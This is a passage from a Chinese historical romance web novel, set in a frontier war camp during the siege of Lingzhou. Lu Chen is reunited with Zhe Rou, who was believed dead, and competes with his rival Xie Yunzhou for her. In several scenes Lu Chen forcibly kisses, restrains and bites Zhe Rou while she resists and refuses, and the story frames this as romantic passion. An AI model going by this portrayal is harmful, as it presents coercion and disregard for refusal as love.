长约两寸,横贯肩头,蜿蜒在原本光洁细腻的肌肤上,经年日久,早已褪成了浅淡的白色,可指腹摩挲过去,仍有微微的凸起。 这三年来,纵使用了助眠的狠药,他仍旧无数次地从她坠河的噩梦中惊醒,闭着眼都能描摹出她伤过的位置,却从来不敢深思,唯恨不能以身代之。 万幸,万幸。 他的妱妱还活着。 仿佛被一股无形的巨力猛然击中心口,陆谌浑身剧烈地颤抖起来,双膝脱力般跪在了榻前。 颤着手将人揽抱进怀里,掌心捧住她的脸颊,陆谌闭上眼,额头与她死死相抵,喉头哽咽颤动,堵得涩疼窒痛,如吞砂砾,却始终连半个字都吐不出来。 他抱得太紧,勒得人隐隐有些生疼,折柔想要推拒挣动,却忽觉有热泪绵绵滚落到脸上,灼得她浑身一颤,动作僵住,一时间竟什么都说不出了。 竭力平复良久,陆谌吻了吻她的眉心,用力将她楼得更紧,仿佛是要把自己都尽数渡给她,“过去这些年……很生我的气?” 声音涩哑,难掩哽咽,几不成调。 折柔僵硬地被他锢在怀中,好半晌,方才低低地道:“……都过去了,陆秉言。” 陆谌喉结滚了滚,沉默不语。 两人谁都不再作声,静默许久,遥遥听见巡逻兵卒齐整的脚步声由远及近,折柔回过神来,忍不住又挣了挣,“陆秉言……你松手……这是鸣岐的大帐,用不了多久,他便要巡营回来,此地不便多留……” 陆谌浑身猛地一颤,良久,缓缓抬起头来。 哦,是了,此处是他谢鸣岐的大帐。 在他夜不能寐、痛不欲生之时,她却早已和旁的男人相认相对,言谈欢笑,好不自在。 情深不寿,爱重成仇。先前颠荡的狂喜和庆幸褪去后,满腔的不甘与恨痛此刻后知后觉地泛上来, “妱妱……你是有多恨我……” 数不清的酸楚混杂着难言的恨意涌上心头,陆谌盯着她,眼尾赤红,咬牙恨声,“一走就是三年……肯与他谢鸣岐日夜相对,却偏偏不肯让我知道你还活着。” 折柔抿了抿唇,良久,低声道:“陆秉言,我与鸣岐在此地相遇不过是个巧合,并非我有意寻他……或许天意如此,不曾教我先遇上你,便是你我缘分早断。” “好一个天意如此。”陆谌怒极反笑,黑眸冷冷地盯着她,“你这是打算和他谢鸣岐在一处了?” 折柔不自觉地攥紧了指尖,咬牙抑住颤声,“与你无关。” 陆谌定定地看了她半晌,突然抬手扣住她的后脑,长指深深插入她乌浓的发间,低头狠狠地吻了下去。 这个吻来得又急又凶,动作粗暴而恣意,折柔全然不及防备,脑中有一瞬的空白。 等到回过神,她顿时生出一阵急怒,张嘴便咬了下去,分毫未留余力,直咬得他唇上渗出血来,彼此唇齿间都是甜腥的血气。 陆谌却似浑不知疼,反而变本加厉地含咬住她的唇瓣,趁她吃痛,肆无忌惮地长驱直入,抵开她的齿关,缠绞住她的舌尖,发了狠地咂吮深吻,仿佛恨不能将她整个人吞吃殆尽。 折柔渐渐有些喘不过气,呜咽着越发用力地挣扎,伸手去推他的胸膛,陆谌一把扣住她的双腕,将人死死压在榻上,唇舌间掠夺愈发入深。 等到他终于肯松开时,她舌根已被吮咬得生疼发麻。 折柔低低地急喘了几口气,蹙眉低斥:“陆秉言,难不成即便我答允了旁人,你还要强求?” 陆谌抬手抹去唇上的血痕,黑眸定定地看了她片刻,忽而低哂一声,“怎么,我的墙角他挖得,他的墙角我便撬不得?” 第85章 三人 ——“怎么,我的墙角他挖得,他的墙角我便撬不得?” 谢云舟原本正带着一队亲兵在边境勘察地势,甫一接到急报便匆匆往大营赶,谁成想,刚到帐外就听见这么一句。 愣怔一瞬,他几乎要气笑了。 千防万防还是没防住,稍有一个不慎,竟又让野狗钻了篱笆。 谢云舟咬了咬牙,转头吩咐亲卫:“在外面守着,把人都散了,三丈之内不得教人靠近!” “是!”亲卫应声,领命而去。 交代完,他也不待折柔作何回应,当即便掀帘直闯了进去。 火把的光亮一瞬涌入帐内,陆谌眸光微微一沉,正要伸手拉折柔起身,忽觉背后一阵劲风凌厉袭来。 全然来不及细思,他本能地旋身将人护在身后,以至于一时躲闪不及,脸上“砰”地挨了一记重拳! 火辣辣的剧痛瞬间震荡开来,陆谌眼前一霎发黑,与此同时,一道怒喝如炸雷般在耳畔响起—— “陆秉言我艹你大爷!” 不及站稳,身前衣襟被人一把揪起,劲风呼啸,一拳又至。 陆谌当即抬臂格挡,另一只手顺势反扣住谢云舟的手腕,借力一拧,堪堪挡住他的汹汹来势。 手臂相抵,僵持刹那,二人对视了一眼。 谢云舟一眼瞧见陆谌被咬破的嘴唇,心头唰地一阵火起,猛地提拳又来。 陆谌到底是沉伤未愈,勉强挡了两下便再也不敌,被谢云舟轻易按在地上压制住。 变故起得太过仓促,不过几息之间这两人已经拆挡过了数招,发狠地缠打成一团。 折柔愕然地睁大了眼,终于反应过来,急忙下榻制止:“别打了!住手!” 余光瞥见她扑了过来,谢云舟身子一僵,急忙收手停下,长臂一揽,反手将人护在身后。 陆谌一时脱力,勉强抬手捂住胸口,发出几声压抑的闷咳。 谢云舟回过头,目光在折柔微乱的衣襟和嫣红的唇瓣上扫过,声音顿时冷了下来,“九娘,他又欺负你?” 见他似乎还要上前动手,折柔急忙拽住他的衣袖,摇了摇头,轻声劝道:“没事。” 陆谌却仍旧伏在地上,一手死死抵按着胸口,半晌没能起身。 映着床角昏暗的烛光,修长的指缝间竟慢慢淌出了一片暗色,一滴一滴渗进土里。 折柔蓦地僵住。 谢云舟顺着她的视线看过去,待看清那是血后,脸色陡然一变,迟疑着唤了一声:“……陆秉言?” 陆谌闻声抬头,低低地喘了两口气,扯唇冷嗤:“死不了。” 话虽是对着谢云舟在说,那双幽黑的眸子却一瞬不瞬地望着折柔。 折柔避开他的视线,垂下眼睫,抿了抿唇。 原是有伤,怪不得,先前她会从他身上嗅到金创药的苦味。 他行军隐秘,又带着外伤,八成与要紧的军情有关,谢云舟渐渐冷静了些,先前的怒意稍有平复。 沉默片刻,他将折柔又往身后护了护,方才伸手去搀陆谌起身:“你身上带伤?河州出了何事?” “说来话长。”陆谌微微眯起眼,朝帐门的方向抬了抬下巴,“外头的人都清干净了?” 谢云舟点点头,“嗯”了一声。 陆谌收回视线,抬头看向谢云舟:“国公爷欲率泾原军出奇兵攻夺磨奇隘,要你我不日突袭灵州,以此声东击西,牵制党项主力。” “泾原军已经自原州出发,正沿葫芦河西岸一路北上,只要攻下磨奇隘这一处要冲,党项几乎再无险可守,大军便可长驱直入。 你我若能攻破灵州最好,倘若不成,便同样取道磨奇隘,与泾原军合力齐下兴州。” “此计欲成,最要紧的是瞒过党项人的耳目,教其分不清何处主攻何处佯攻。” 一连说了这些话,陆谌脸色发白,气息渐渐不稳:“未免泄密,胥国公同我商议后,由我直接率军中精锐来此,余部仍旧驻守河州以惑敌獠,只待灵州战事一起,再开拔来援。” 原本这一路都算顺利,然而三日前,大军秘密行至沙坡头,他带人外出巡查地形,意外遭遇一股党项的精锐斥候。 事出紧急,为防军情走漏,他不得不只带一小队亲随紧追深入,以少敌众,为将其全歼,不慎被流矢所伤,草草处置后一路疾赶至此。 谢云舟听完,试探着伸出手,摁了摁他身前的伤处。 也不知他是有心还是无意,手上力道不算小,陆谌疼得倒嘶一口凉气,额角渗出冷汗。 伤得倒是不深,只在皮肉,于性命无碍,但方才厮斗以致伤口迸裂,还需尽快重新缝合止血。 谢云舟立时便要叫人去传军医,陆谌察觉到动作,一把按住他手腕,蹙眉道:“……别声张。” 大战不日将起,主将却伤重缠身,一旦走漏些许风声,轻则有损士气,重则动摇战前军心。 这个道理谢云舟自然明白,但也不能就此放任不管,“我想法子周全就是了,难不成你还要咬牙硬扛,急着见阎王?” 陆谌顿了顿,视线越过谢云舟,看向站在他身后的折柔。 谢云舟又岂会看不出他的意思?气得一瞬瞪直了眼,心里顿觉那个说不出的悔啊。 早知道这厮身上带伤,刚才捶两拳出出气也就算了,谁料下手太重,竟反倒白白送了他演苦肉计的机会! 袖子一捋,谢云舟扬起唇角,冲陆谌呲牙笑了笑,“成,那我来。从军在外,都是行伍之人,谁还不会缝两针了,来,兄弟给你治。” 这倒也不算虚言,他们这些行伍之人,多少都会些急救止血的法子,甚至有时来不及,将铁器烧红了直接烙上止血也是有的。 挑衅的眼神对上,空气有一瞬的凝滞。 陆谌眸光一沉,扯唇冷嘲道:“当初也不知是哪个,说自己有容人之量。” 谢云舟顿时一噎。 眼见又要起争执,折柔抿了抿唇,轻声道:“我来罢。” 说着,她低头挽起衣袖,吩咐陆谌先把衣裳脱了。 目送着她往前走出半步,谢云舟一抬眼,就见陆谌微微扬起一张苍白俊脸,冲着他无声地扯唇笑了笑。 谢云舟一瞬气急,抬脚就要上前。 敏锐地察觉到气氛不对,折柔及时出声,“鸣岐,劳烦你去取一坛烈酒,还有我药箱里的桑皮线也一并拿来。” 谢云舟闻言老实下来,闷声应了,很快便将她要的烈酒和药箱悉数送了过来。 折柔简单翻看了两下,抬头冲他笑笑,温声道:“有劳你了,这里交给我就好。” 听出她这是怕他们再起冲突的意思,谢云舟也不再多争,咬了咬牙,乖乖应下,仍不忘低声嘱咐:“我就在外头,不走远,有事唤我。” 折柔点头应好。 临走,谢云舟将倒在地上的屏风扶起来,又警告地瞪了陆谌一眼,这才掀帘而出。 毡帘落下,大帐里重又陷入一片寂静,铜壶滴漏的水声滴答入耳。 陆谌早已脱去里衣,赤着上身坐在榻边,看着折柔动作麻利地准备伤药、湿帕和针线,视线随着她在帐内来来回回,片刻不离。 伤药准备停当,折柔取了一帖麻沸散,混在酒水里化开,回身递给他,“把这个喝了。” 陆谌一声不吭地接过药汤饮尽,目光仍始终一眨不眨地盯着她。 多年不见,他虽清减了不少,一身的薄肌倒是仍旧块垒分明,线条利落,折柔垂下眼,先用沾了酒的软帕给他清理过伤处,再取来细针穿过桑皮线,沿着肌理一点一点慢慢缝合。 灯烛静静地燃烧,大帐里愈发安静,只听得见彼此呼吸的浅浅起伏。 纤白手指时不时擦过他胸前的皮肤,触感温热、柔软、细滑。麻沸散的效力渐渐上涌,一时让人分不清是疼,还是痒。 陆谌身子隐隐僵直,无意识地屏住了呼吸。 垂眼,就能看见她近在咫尺的细腻脸庞,莹润柔软,带着浅淡的温暖甜香,熟悉得让人眼眶酸热,几要落下泪来。 动作间,她鬓角的一缕发丝垂落下来,轻轻扫过他的胸膛。 陆谌只觉心脏跟着狠狠一坠,接着猛烈地跳动起来,震得胸骨隐隐作痛,哪怕极力克制,也难以平复,背上热出一层薄汗。 将伤口处置好,折柔起身要走,就在此时,陆谌突然伸出手,一把攥住她的手腕,顺势将人捞进怀里,狠狠抱住。 折柔一时没有防备,被他扯得一个趔趄,整个人跌坐到了他的大腿上,愕然地抬起头。 不及她回神挣动,陆谌抬手捧住她的脸颊,在她唇上轻吻了吻,哑声问道:“妱妱,你明明对我还有心软,是不是?” 折柔僵硬地被他抱在怀里,听见这话,顿觉一股难言的疲惫从心底漫涌上来。 沉默半晌,她转过头,静静地看向他:“陆秉言,我同你说实话……见你不好过,我确是心有不忍。” 闻言,陆谌微微一僵,漆黑的瞳色里将要漾起一丝笑意,然而下一瞬,就听她继续道:“可我……我也仅仅只有这一分不忍罢了。” 陆谌眸光凝住,扣在她腰间的那只手一瞬收紧。 折柔抿了抿唇,倔强地别过脸,不再作声。 静默良久,陆谌无声地收紧臂弯,将人又往怀里紧了紧。 也罢。 总归,还是有一分心软。 自她出事那一日起,他日夜悔恨难当,哪怕此刻亲眼见她劫后余生、安然无恙,仍是教他心有余悸,唯恐是梦,实是不敢再逼她太紧。 陆谌喉结滚了滚,低下头,把脸贴在折柔的颈间,缓缓地平复呼吸。 他连日来奔波行军,不修边幅,下颌已冒出一层浅淡细密的胡茬,折柔被他扎得肌肤发痒,不由再度扭身挣扎了起来。 “别动,让我抱一会儿。” 折柔蹙眉不耐,“痒,放开我。” 陆谌却浑似个无赖的狡童,闻言非但没有松开,反倒故意用胡茬去蹭她颈间最细嫩的肌肤,惹得她一阵阵瑟缩。 她越是挣扎,他便越是变本加厉,几番纠缠下来,折柔一时无奈,暗暗叹了口气,终于不再乱动。 陆谌怀抱着她,闷闷地低笑出声来。 数日的行军奔波,加上乍然得知她尚在人世的心绪激荡,还有新伤旧患的折磨,陆谌的身子早已透支到极处,不过是全凭着一口气硬撑。 此刻心神稍一放松,难以言喻的疲乏便如排山倒海般沉沉压覆过来,将他彻底吞没。 陆谌把脸埋进她的颈窝里,嗅着她身上熟悉而温暖的淡淡杏花香,心头只觉说不出的安稳和满足,呼吸渐渐变得悠长平稳。 不多时,折柔忽觉肩头一沉,陆谌大半个身子的重量压下来,竟就这样抵靠着她睡着了。 这是他三年以来,头一回无需用药,便能如此轻易地安然睡去。 谢云舟守在帐外几乎是度日如年,焦躁地踱步半晌,越想越放不下心。 听着帐内没了声响,他终于是按捺不住,悄悄挪到门前,长指勾起毡帘,探头往里看了看。 正好瞧见陆谌昏睡了过去,折柔勉强撑住他的身子,似是想要扶他躺下。 见状,谢云舟直接进了大帐,过去接手帮忙,“我来,九娘。” 抬头见他进来,折柔便让了个位置,由着谢云舟将陆谌安置在榻上躺好。 陆谌还赤着上身,只有胸膛上用细布缠了两圈,一身清瘦利落的筋骨和紧韧削薄的肌理,就这么大喇喇地敞露在她面前。 简直是有碍观瞻。 谢云舟凉凉一嗤,当即扯了被子过来,直接给他捂得严严实实。 第86章 醋涌 陆谌早已筋乏骨疲到了极处,这一觉睡到不知何时。恍惚间听到步卒巡逻经过的脚步声,朦朦胧胧地睁开眼,入目就见一片云纹压花的牛皮帐顶。 怔忡片刻,昨夜的记忆如涨潮般漫涌回笼,那张温软莹白的侧脸,嫣红的唇瓣,鬓边轻垂拂动的发丝……亲昵的景象一点一点在脑海中拼凑浮现。 ……妱妱! 陆谌心口猛地一紧,神智骤然清明。 当即翻身下榻,也来不及寻件干净衣衫,随手抄起榻边的襕袍胡乱系上,跌跌撞撞地朝外寻去。 心脏突突急跳,陆谌膝头一软,险些跌跪到地上。 他从前做过太多太多的噩梦,每每都在惊醒的刹那庆幸原是个梦,可转瞬又猛然惊觉,不是梦,她是当真不在了。 其间滋味,实难言喻,丝毫不敢再作回想。 帐外值守的护卫押班闻声转头,见他掀帘而出,立时执戟行礼:“将军。” 陆谌一把扣住他的手臂,声音发紧:“昨夜过来的军医可是个女子?她人在何处?” 押班愣了愣,连忙应了声是,“这个时辰,九娘子应该是在伤兵营。” 得到肯定答复,听见“九娘”二字,陆谌心头骤然一松,缓缓松开了扣着押班的指节。 押班小心瞧着他的脸色,试探着问道:“将军可有不适?要不要末将叫人去传军医过来?” 停顿一霎 ,陆谌哑声拒绝,只说无事,自己朝着伤兵营的方向寻了过去。 疾步穿过一列列营帐,刚转入伤兵营的栅门,忽然便听见一阵轻快的笑声隐约传来。 抬头就望见折柔正在院中蒸煮草药,穿着一身天青色的褙子罗裙,衣袖用襻膊向后束起,露出一双盈润秀致的手臂,谢云舟半蹲在她身旁,像是在帮她分拣药材。 陆谌的脚步渐渐慢下来,在营帐投下的暗影中停住。 收拢草药的间隙,她也不知想到些什么,像是忽然起了玩心,伸出一根细白的手指,悄悄放到谢云舟的后背上,学着小虫的样子往前爬了爬。 谢云舟登时吓得一个激灵,猛地从地上一窜而起,一边胡乱扑打着后背一边不住地回头看,她霎时被逗得笑出声来。 冷肃的秋风自北而来,掠过阔荡无际的原野,穿过连绵重叠的营帐,拂起她鬓边碎发,吹动她束发的海棠色丝绦,在她白皙的颈间轻柔拂动。 她笑得微微仰起脸,眸光盈盈如水,明曦的日光斜洒在她身上,轻笼出一层淡淡的金色光晕。 那张莹白的脸颊被热气蒸腾得泛起红晕,整个人浑身上下透出一股放松的鲜活劲儿。 身前的伤处骤然牵起一阵抽痛,陆谌喉结滚了滚,似有什么狠狠哽在喉间。 已经记不清从何时起,她在他面前总是浑身紧绷,带着难言的疏离和倦意,像这般安定自在的模样,他已多年未曾得见,甚至就连梦中都没有。 一时间说不清是何缘由,他就这般在原地站定,默默无声地望着她,薄唇抿得泛白,却始终再未往前半步。 折柔不曾发觉陆谌来过,很快收拢好药材,谢云舟也有事要忙,两人闲话几句后便各自回了营帐。 随后的几日里,陆谌忙于调配攻城事宜,倒也再无过分的举动。 只是稍得空闲便来寻她,要么跟她一道用膳,要么就干坐着,她存心不理会他,他也不恼,仿佛只要这般守着就算满足。 折柔想着他大约是战事当前,无暇他顾。 如此相安无事,倒是教她暗暗松了一口气。 大战不日将起,她自幼长在边关,见惯了胡獠烧杀掳掠的恶行,有心留下帮忙救治伤兵、防治疫患,也算尽一份绵薄之力。 三日后,十月廿八的黎明时分,天色还未发亮,谢云舟亲率精锐突袭灵州城。 旷野震颤,战鼓擂动,杀声四起。 胡人虽是更擅野战骑射,不擅守城之道,但灵州是党项门户要冲,城内屯驻数万精兵,城高墙厚,壕沟深阔,城头上更是箭楼密布,礌石如山,想要攻破绝非易事。 不断有将士被送进伤兵营,折柔整日和军医一道,忙于救治伤患。 白日里,谢云舟带兵在外,陆谌坐镇中军,既要部署攻城方略,又需遣将阻援、安抚伤兵,还要防范党项人轻骑绕袭粮道,每日无数军务缠身,只有趁着用饭的间隙,过来远远看她一眼,见她无事再放心回去。 前线战况日益激烈,伤兵与日俱增,军中的人手愈发不够,折柔寻来陇顺厢军将士的家眷,教她们如何简单包扎止血、熬煮细布、煎制汤药,帮着军医一道在营中救治伤患。 有了这些妇人齐心帮忙,折柔腾出手来,开始炮制药散。 眼下战事吃紧,麻沸散和金创药消耗如流水,加之战线遥远,朝廷和剂所[1]供给的良药时有不足,她几乎是昼夜不休,每日天不亮便起身,一直忙到夜半才歇。 七日后的夜里,折柔回帐歇息,将将合眼睡去不久,忽然被一阵阵惨烈的呼号声惊醒。 那喊声似乎是从不远处传来,一声声凄厉无比,仿佛狼嚎鬼泣,伴着火光和杂乱起伏的脚步声、叱骂声。 折柔猛地坐起身来,心脏砰砰狂跳,背后冷汗直冒。 不知军中是出了什么变故,她慌忙掀被下榻,刚披上外衫,门外便传来一阵急促的脚步声,两道再熟悉不过的嗓音同时撞入耳膜,带着明显的焦灼。 “妱妱!” “九娘!” 折柔指尖微颤,勉强定了定神,朝门外应了一声,“外面出了何事?” 陆谌听得她出声应答,紧绷的肩线顿时松了几分,低声安抚道:“是营啸,别怕。待在帐内,不要乱走。” 两军激战多日,生死当头,难免会有兵士噩梦夜惊,以一传十激起营啸,但只要各营的都头及时弹压震慑,防着有心人借机私斗泄愤,骚乱很快便能平息。 折柔心神微松,轻“嗯”了一声,“我没事,你们忙正事去罢。” 谢云舟抬头瞥了一眼陆谌,拧眉接口:“九娘,你这儿需得留个人照应。” 她身份不同,又是女子,倘若有细作混在营中趁乱行凶,无异于同时掐住他二人的命门。 帐内静了一霎。 大帐外的浓稠夜色中,两个男人目光相接,暗自较劲。 营帐里沉寂片刻,忽听她的声音轻轻传来:“……鸣岐,你留下罢。” 闻声,谢云舟一瞬挺直腰背,冲着陆谌扬唇一笑,俨然一副由小扶正的做派。 陆谌眸光骤然沉下,冷冷地扫了他一眼,留下两个亲卫守在折柔帐外,转身前往各处营帐安抚兵卒,以镇军心。 夜里的营啸很快平息下来,灵州城外的战况却是愈发激烈。 党项人性情坚忍剽悍,反扑极其凶猛,甚至意图掘断黄河堤岸,想要引渠水淹灌大军,彻底切断大周的后援粮道补给。 好在陆谌有所防备,南衡随副将率河州余部的援军埋伏于侧,这一战杀得干净利落,一举歼灭党项三千精锐轻骑。 许是绝境当前,党项人杀红了眼,同大周做出殊死一搏,战况渐渐陷入胶着,正当紧要关头,泾原军攻破磨奇隘的捷报传来,军中士气顿时大振,战鼓擂擂,厮杀声震天撼地。 两日后,折柔还在营中给伤兵包扎伤口,忽然听见山呼海啸般的兴奋狂呼从四面八方涌来—— “城破了!城破了!” “咱们胜了!” 营帐中安静一瞬,继而爆出震天般的欢呼,尚且能动的伤兵纷纷挣扎着爬起来,不顾身上伤痛,互相搀扶着朝大帐外涌去。 折柔也被这气氛所感染,心绪激荡,几乎喜极而泣。 磨奇隘一破,党项的都城兴州门户洞开,灵州的残兵再无心巷战,连夜弃城回防。 谢云舟和陆谌各自着手整备防务,安抚民众,城中很快便安定下来,不出七日,市集复开。 夜里,众将士在营中庆功。 原本肃杀的军营中篝火遍地,亮如白昼,将士们身上轻甲未卸,三五成群地环坐在火堆旁,高歌谈笑。 铁架上的羊肉烤至金黄,滚烫的油脂滴落到炭火上,激出阵阵悦耳的“滋啦”声,浓郁的香气在大营中弥漫开来。 陆谌和谢云舟就站在篝火堆旁,亲自割下烤好的羊肉,启封酒坛,一一分赏给勇武有功的部下们。 折柔和厢军家眷们坐在一处,正和一个相熟的妇人闲叙着家常,忽听身后传来南衡的低唤声:“娘子。” 折柔微微一愣,回头看去。 南衡将手里的瓷碟递上前,抬眼觑了觑她的脸色,小心道:“郎君吩咐给娘子送来的。” 瓷碟里是烤得黄澄澄的羔羊肉,半数羊腿,半数羊肩,都已仔细切成了小块,肥瘦相宜,火候正好,依着她素来喜好的口味。 察觉到有视线落在身上,折柔下意识抬眸,越过一众喧闹鼎沸的人群,正正对上陆谌投来的目光。 篝火跃动,火舌吞吐,扭曲晃动的光影将他的面容映得忽明忽暗,一双深邃的眉眼在火光中如水波荡漾,时而清晰时而模糊,教人辨不清其中情绪。 折柔抿了抿唇,低头别开视线。 谢云舟在一旁看着,抬脚正要过去,身边忽有将士哄叫起来:“郡王!这小子要和您比箭术!” 回过头,就见一个黑面青年被同袍们推搡着挤出来,许是还有些局促,那一张黑脸涨得通红,眸光却亮得惊人,带着跃跃欲试的兴奋。 谢云舟不由挑了挑眉。 这个小兵他记得,攻城时曾一箭射穿了獠子守将的面门,箭术可谓甚是了得。 “成啊。”瞧见折柔也抬头朝这边望过来,谢云舟忍不住扬唇一笑,“来,我陪你过过招!” 青年闻言,眼神骤然一亮,恭敬地上前行了一礼,待从同袍手中接过弓箭,整个人周身的气度也随之一变。 眸光沉下,他挽起长弓,对准门口的一只水桶,“嗖”地射出一箭,箭矢劲力十足,破空而出,狠狠没入桶身。 席间的兵士们探头张望了片刻,只觉也瞧不出什么厉害,纷纷哄笑起来:“嚯,这么大个水桶,俺来俺也成啊!是不是,啊?” 黑面青年却只笑笑,并未多言。 待示意让人将箭簇拔出去,看着桶中的热水汩汩涌出,黑面青年倏然又发一箭,箭簇不偏不倚,正正嵌入先前破口,将水流严丝合缝地堵住,不漏一滴。 众人一惊,顿时齐声喝彩。 谢云舟也忍不住击掌叫好,“好箭法!” “属下献丑,郡王谬赞。”黑面青年眸光炯炯,却只腼腆地抿唇笑笑,恭敬地将长弓双手奉还。 谢云舟笑着接过来,放在手里掂了掂,抬头扫视一圈,目光落在百步开外的仪门上。 仪门两掖高悬着数盏竹笼纱灯,灯下光线明亮,灯顶之上却全然隐没在浓重的夜色里,看不真切。 射灭灯笼算不得什么难事,倘若能射断隐在暗处的系绳,倒是有两分意思。 打定主意,谢云舟眸光一凝,引弓搭箭,箭锋寒光一闪,倏然破空而出! 只听“嗖”地一声,细绳应声而断,灯笼微微一晃,随即飘然坠下。 然而还不及众人回神反应,他指间又发一箭,这一箭势若追风急若如雷,挟着一股凌厉劲风,堪堪擦过灯笼底托,“夺”一声钉入仪门木柱,竟将那坠落的灯笼稳稳托住! 灯影还随着箭尾在嗡嗡轻颤,灯中烛火摇曳不熄,映得四周忽明忽暗。 大营中安静刹那,随即爆出一阵雷鸣般的喝彩。 黑面青年见状,神情变得激动,忙从一旁端来酒碗高举过头,红着脸道:“郡王英武!属下拜服!” 谢云舟扬唇笑笑,单手接过,仰头饮尽,又将空了的酒碗高举起来,环示四座。 众将士立时哄叫起来,“郡王英武!” “干杯!” “干了干了!” 周遭气氛愈发热烈,折柔也跟着笑起来,低头浅啜了一口。 又受了诸将一轮敬酒,打发走众人,谢云舟放下长弓,唇边噙着笑意,径直走到她身边站定,添了酒给她递去,“九娘。” 折柔伸手接过,两人的指尖轻碰了碰。 若无其事地收回手,谢云舟俯身凑近了些,贴近她的耳畔,吐息温热,“方才好看么?” 那张俊脸上分明是得意得嘴角压都压不住,他却偏要这般故作矜持地问。 知道他是存心显摆,折柔忍不住弯唇笑起来,低声打趣:“堂堂郡王当众卖艺,自然好看。” 隔着轻轻跃动的火舌,她脸上笑意明媚,如同春日里的一汪温暖湖水,在火光中摇曳潋滟。 陆谌面无表情地收回目光,端起案上酒碗,仰颈一饮而尽。 酒水入腹,自喉间灼出一线滚烫的刺痛,陆谌漫不经心地抄起酒坛,正要再斟一碗,余光忽而瞥见席间的动静。 一名偏将用手肘捅了捅身旁埋头吃肉饮酒的同袍,压低嗓音笑道:“嘿,老吴,敢不敢和爷赌个大的?” 吴郎将闻言放下酒碗,胡乱抹了把胡子上的酒渍,“赌啥子?” 那偏将脸色通红,显见是酒意上头,朝着谢云舟的方向递了递眼色,而后喜滋滋地开口:“就赌咱兄弟几时能喝上小王爷的喜酒……” 话音未落,上首处忽然“咔嚓”一声脆响,陆谌手中的酒碗骤然碎作几瓣。 上好的小槽珍珠红顺着指缝蜿蜒而下,转瞬淌了满手,映着昏黄跃动的火光,教人分不清是酒还是血。 席间的那两人被这突如其来的声响惊住,端着酒碗的手顿时僵在半空,面面相觑着,谁也不敢先出声。 “无事。”陆谌牵唇笑了下,笑意却分毫不达眼底,黑眸中除了跃动的火光,再无其他。 “手滑了,诸位慢饮。” 言罢,起身离席。 走出几步,宴席上的气氛重又变得热络起来,将士们碰杯劝饮的爽朗笑骂声被甩在身后,渐渐化作一片模糊的嘈杂。 这场庆功宴大抵还要闹腾到半夜,折柔却已有些醉了,掩唇微微打了个呵欠。 谢云舟见状,立时从席间抽身出来,打算先将她送回住处。 月色清亮,两个人沿着小路慢慢往回走,她束发的丝绦被夜风拂动,轻轻挠着他的脖颈,痒梭梭,凉丝丝。 眼见屋门在望,谢云舟这才恋恋不舍地停下来,眼巴巴地看着她,“九娘,你早点歇息。” 折柔抿唇笑笑,应了声好,看着谢云舟一步三回头地走远了,转过身,推门进屋。 屋内没有掌灯,只有两个燃至将熄未熄的炭盆,在地上投出一小团黯淡的光晕。 眼前黑魆魆的一片,空气中隐隐约约地浮动着一丝酒气。 她慢慢走到桌前,摸索着从抽屉里取出火折子,正要伸手去点灯,突然被人从后猛地一拽,整个人骤然跌入一个坚硬的怀抱。 折柔指尖一颤,火折子“啪”地一声掉到地上。 “陆……” 只来得及发出一声短促的惊呼,下巴猛地被人托起,滚热的唇舌劈头盖脸地压覆下来,挟着一股清冽而辛辣的酒气汹汹而入,粗暴蛮横,将她余下的话音悉数堵了回去。 第87章 凶兽 折柔猝不及防,教陆谌狠狠抱了个满怀。 后腰被两条坚硬的手臂禁锢住,身前是坚硬炽热的胸膛,她尚不及挣扎,呼吸已被掠夺殆尽。 像是蛰伏已久的猛兽终于攫到猎物,恨不得立时剥骨拆皮,陆谌毫不留情地碾过她的唇瓣,抵开齿关,吮咬,纠缠,侵占。 唇上骤然吃痛,折柔疼得呜咽一声,勉强挣出来一只手,狠狠地甩了他一耳光,又奋力去推他的胸膛。 陆谌生受了这一记,却丝毫不为所动,连头都未偏一下,只顺势扣住她的手腕,近乎粗暴地将人推到了案几上。 烛台茶盏哗啦扫落在地,噼里啪啦地碎成一片狼藉。 膝盖顶开她奋力挣扎的双腿,陆谌一手钳住那两只细腕反剪,一手紧紧扼住她的后颈,迫着她靠向自己,力道大得几要攥碎骨头,连半分都不容她逃离。 呼吸急促地交织在一处,隔着衣衫布料,也能感觉到彼此失控的心跳,急骤如鼓,乱作一团。 后颈被他攥得隐隐生疼,折柔心头惊怒交集,浑不知他又发什么疯。 每当她稍有改观,软下心肠,他便又能做出让她气恨的疯事。 心里实在是恨极,折柔拼尽力气,抬脚去踹他的膝盖。 却不想陆谌一把捞住了她的腿弯,就势环扣在自己腰侧,整个人迫得更近,甚至是严丝合缝,唇齿间的掠夺也愈发蛮狠深入。 独属于她的温热香气萦绕在鼻端,陆谌几乎是不受控地收紧了手臂。 他原以为自己可以忍下去,可以学着放她走。 可是不成。 他做不到。 要他眼睁睁地看着她走向旁的男人,他做不到。 他根本没办法去设想,有朝一日她的眼里会装着旁的男人,却再无他半分位置。 那明明是他的妱妱。 爱到极处时求之不得,反而催生出汹涌蚀骨的恨意。 恨心头明月朗照旁人。 恨她就这般弃了他,连一丝一毫的不舍都没有,独留他一人痛苦煎熬,几欲疯魔。 恨得他齿尖发痒,腹中生饥,心头一阵阵颤栗,想要将她吞吃入腹,想把她揉碎在怀里,想将她狠狠地咬出血来。 腹中的酒意翻腾烧灼,陆谌浑身颤得厉害,气息滚烫灼热,心脏随着血液疯狂搏动,仿佛下一瞬便要震碎胸骨,破腔而出。 这般的流连再不能教人餍足,陆谌伸指挑开她的衣襟,折柔将觉身前微微一凉,炙热唇舌便汹汹覆了下来,一路吻咬过她细白的脖颈,最后一口咬住那截伶仃凸起的锁骨。 折柔疼得吸气,拼命去推打他的胸膛,“陆秉言!你又发什么疯……放开我!” 陆谌恍若未闻,埋首衔咬着她的锁骨,薄薄的一层皮肉在他齿间碾磨,渗出一丝丝血珠,又立时被粗粝的舌尖卷走。 濡热粗糙的舌尖舔过肌肤,头皮一瞬炸开酥麻,折柔只觉又疼又痒,偏却百般挣脱不得,只能泄愤般咬上他的肩头,甚至比他更用力十分,腥甜的血气瞬间盈满唇齿。 直到她咬得牙关都发了酸,陆谌终于肯松口抬头,掌心捧住她的脸颊,再度低头深深地吻了下来,撬开齿关,勾牵起她的舌尖,含入自己口中咂弄。 津液与津液交缠,血气和血气相融,咸涩的味道逐渐在彼此舌尖蔓延开,分不清是来自他肩头的伤口,还是她锁骨的咬痕。 倒当真像是融二为一。 这个念头甫一冒出,也不知是酒意催逼,还是见了血的刺激,陆谌额角青筋猛地一跳。 